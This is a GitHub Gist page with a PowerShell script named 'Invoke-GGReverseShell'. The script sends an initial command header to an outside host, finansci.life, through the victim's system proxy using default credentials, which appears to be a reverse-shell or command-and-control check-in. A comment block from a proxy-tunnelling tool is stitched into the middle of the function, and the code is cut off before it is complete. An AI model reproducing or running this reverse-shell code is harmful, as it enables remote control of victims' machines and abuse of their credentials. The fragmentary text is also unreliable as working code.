Skip to content

Instantly share code, notes, and snippets.

@uceka
uceka / 1.ps1
Created November 5, 2019 13:13
function Invoke-GGReverseShell
{
$url = "http://finansci.life/p"
# handle proxies and used default creds if needed
$req = [System.Net.HttpWebRequest]::Create($url);
$proxy=[System.Net.WebRequest]::GetSystemWebProxy();
$proxy.Credentials=[System.Net.CredentialCache]::DefaultCredentials;
$req.proxy = $proxy
# add our header
$req.Headers.add('CMD','INITIAL')
<#
.SYNOPSIS
Creates a TCP Tunnel through the default system proxy. As such, it automatically handles proxy authentication if ever required.
Author: Arno0x0x (https://twitter.com/Arno0x0x)
License: GPL3
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Creates a TCP Tunnel through the default system proxy. As such, it automatically handles proxy authentication if ever required.
.PARAMETER bindIP